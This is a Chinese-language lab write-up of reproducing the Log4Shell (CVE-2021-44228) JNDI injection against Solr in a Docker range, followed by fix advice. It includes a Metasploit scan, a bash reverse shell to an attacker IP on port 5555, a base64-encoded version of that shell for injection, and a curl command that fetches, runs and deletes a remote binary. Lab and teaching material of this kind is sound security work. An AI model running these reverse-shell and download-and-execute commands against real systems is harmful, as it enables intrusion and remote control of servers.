log4j漏洞复现

1、apache log4j

是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞,导致攻击者可以控制日志内容的情况下,传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入,执行远程命令。

JNDI:

命名和目录接口,是java的一个目录服务应用程序接口,功能:提供一个目录系统,将服务名称和对象关联起来,使开发能使用名称来访问对象。

目录系统:通过名字可以访问服务

如:http ------web服务

jndi可以远程加载ldap、rmi服务端提供的一些恶意代码

ldap:轻量级目录访问协议(类似于http,可以通过ldap://xxx.com访问)

log4j:

fatal  严重/致命

error  错误

warn   警告

info   信息

debug  调试

trace  程序运行轨迹

all    所有日志级别

定制     自定义的级别

2、漏洞发现或检测

(1)启动靶场

docker-compose up -d

浏览器访问http://192.169.59.10:8983

如物理机无法访问

[root@localhost CVE-2021-44228]# docker-compose down

[root@localhost CVE-2021-44228]# systemctl stop docker

[root@localhost CVE-2021-44228]# ifconfig docker0 down

[root@localhost CVE-2021-44228]# brctl delbr docker0

[root@localhost CVE-2021-44228]# systemctl start docker

[root@localhost CVE-2021-44228]# docker-compose up -d

(2)msf检测

msfdb run

msf6 > use auxiliary/scanner/http/log4shell_scanner

msf6 auxiliary(scanner/http/log4shell_scanner) > show options

msf6 auxiliary(scanner/http/log4shell_scanner) > set rhosts 192.168.59.10

rhosts => 192.168.59.10

msf6 auxiliary(scanner/http/log4shell_scanner) > set rport 8983

rport => 8983

msf6 auxiliary(scanner/http/log4shell_scanner) > set srvhost 192.168.59.6

srvhost => 192.168.59.6

msf6 auxiliary(scanner/http/log4shell_scanner) > run

3、漏洞利用

dnslog外带数据证明是否存在漏洞

比如注册一个域名xiaoxiang.com ,我把它得A记录解析到192.168.1.1, 当dns服务器发起 www.xiaoxiang.com请求时,dnslog中会记录下来这个域名,并给www.xiaoxiang.com做一下解析,解析得ip是192.168.1.1

我们把想获取得数据或信息和dnslog平台得域名拼接起来,dnslog平台就会把目标服务器的请求记录显示出来

Log4j漏洞路径:/solr/admin/cores?action=

4、利用log4j漏洞获取服务器权限

方法一:利用中转机反弹shell

方法二:bash反弹

kali启用ldap服务

在目标机执行反弹shell的命令

反弹shell:让目标机主动外联攻击机

正向shell:ssh登录

命令:bash -i > /dev/tcp/192.168.59.6/5555 2>&1 0>&1

bash -i 创建一个交互式的shell

/dev/tcp/192.168.59.6/5555  去连接59.6的5555端口

/dev/tcp   打开这个文件相当于发起了一个socket连接,读写这个文件就相当于在socket传输数据

0   标准输入   I

1   标准输出   O

2   标准错误

精简版:bash -i >& /dev/tcp/192.168.59.6/5555 0>&1

>& 将标准输出和错误重定向到59.6/5555

base64编码  YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx

c

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}"     空格用逗号代替

curl -so /tmp/jiali http://192.168.59.6/jiali;chmod +x /tmp/jiali;/tmp/jiali;rm -f /tmp/jiali

5、修复建议

根除方案

(1)升级到2.15.0版本及以上

不要用2.15.0-rc1和2.15.0-rc2

(2)加装防护设备

(3)配置策略阻断log4j利用链

临时处置措施

(1)升级java版本

(2)修改log4j配置

jvm参数设置成true

(3)禁止log4j所在的服务器外连

  • 19
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

什么都好奇

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值